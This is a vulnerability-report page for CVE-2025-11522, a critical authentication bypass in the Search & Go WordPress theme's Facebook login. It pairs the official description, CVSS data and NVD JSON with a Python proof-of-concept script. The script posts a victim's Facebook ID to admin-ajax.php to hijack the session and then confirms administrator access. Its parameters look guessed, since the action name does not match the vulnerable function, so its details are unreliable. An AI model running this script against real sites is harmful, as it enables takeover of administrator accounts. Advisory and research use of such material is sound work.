Security Vulnerability Report
中文
CVE-2025-11522 CVSS 9.8 CRITICAL

CVE-2025-11522

Published: 2025-10-09 08:15:38
Last Modified: 2026-04-15 00:35:42

Description

The Search & Go - Directory WordPress Theme theme for WordPress is vulnerable to Authentication Bypass via account takeover in all versions up to, and including, 2.7. This is due to insufficient user validation in the search_and_go_elated_check_facebook_user() function This makes it possible for unauthenticated attackers to gain access to other user's accounts, including administrators, when Facebook login is enabled. CVE-2025-62064 is likely a duplicate of this CVE.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Search & Go - Directory WordPress Theme <= 2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11522 PoC - Search & Go WordPress Theme Authentication Bypass # Vulnerability: Insufficient user validation in search_and_go_elated_check_facebook_user() # Affected: Search & Go theme <= 2.7 # CVSS: 9.8 (Critical) import requests import re TARGET_URL = "http://target-wordpress-site.com" TARGET_USER_ID = 1 # Target user ID (e.g., administrator) VICTIM_FACEBOOK_ID = "1234567890" # Victim's Facebook user ID (can be obtained via OSINT) def exploit_facebook_login_bypass(target_url, victim_fb_id): """ Exploit authentication bypass via Facebook login in Search & Go theme. The vulnerability exists in search_and_go_elated_check_facebook_user() function which fails to properly validate the Facebook user identity. """ session = requests.Session() # Step 1: Access the WordPress login page to get any necessary cookies/tokens login_page = session.get(f"{target_url}/wp-login.php") # Step 2: Initiate Facebook login request # The vulnerable endpoint accepts Facebook user ID without proper validation facebook_login_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Step 3: Craft the malicious request with victim's Facebook ID payload = { "action": "search_and_go_check_facebook_user", "fb_user_id": victim_fb_id, "email": "[email protected]", "name": "Victim User" } # Step 4: Send the authentication bypass request response = session.post( facebook_login_endpoint, data=payload, headers={ "X-Requested-With": "XMLHttpRequest", "Referer": f"{target_url}/wp-login.php" } ) # Step 5: Check if authentication was successful if response.status_code == 200 and "success" in response.text.lower(): print("[+] Authentication bypass successful!") print(f"[+] Logged in as user with Facebook ID: {victim_fb_id}") # The session cookies now contain the victim's authentication return session.cookies else: print("[-] Exploitation failed") return None def verify_admin_access(session, target_url): """Verify that we have administrative access after the bypass""" admin_url = f"{target_url}/wp-admin/" response = session.get(admin_url) if "Dashboard" in response.text or "dashboard" in response.text: print("[+] Confirmed: Administrator access achieved!") return True return False if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Victim Facebook ID: {VICTIM_FACEBOOK_ID}") cookies = exploit_facebook_login_bypass(TARGET_URL, VICTIM_FACEBOOK_ID) if cookies: session = requests.Session() session.cookies.update(cookies) verify_admin_access(session, TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11522", "sourceIdentifier": "[email protected]", "published": "2025-10-09T08:15:38.250", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Search & Go - Directory WordPress Theme theme for WordPress is vulnerable to Authentication Bypass via account takeover in all versions up to, and including, 2.7. This is due to insufficient user validation in the search_and_go_elated_check_facebook_user() function This makes it possible for unauthenticated attackers to gain access to other user's accounts, including administrators, when Facebook login is enabled. CVE-2025-62064 is likely a duplicate of this CVE."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://themeforest.net/item/search-go-modern-smart-directory-theme/15365040", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/da590a65-8728-4577-b6e4-ecebc2a2277d?source=cve", "source": "[email protected]"}]}}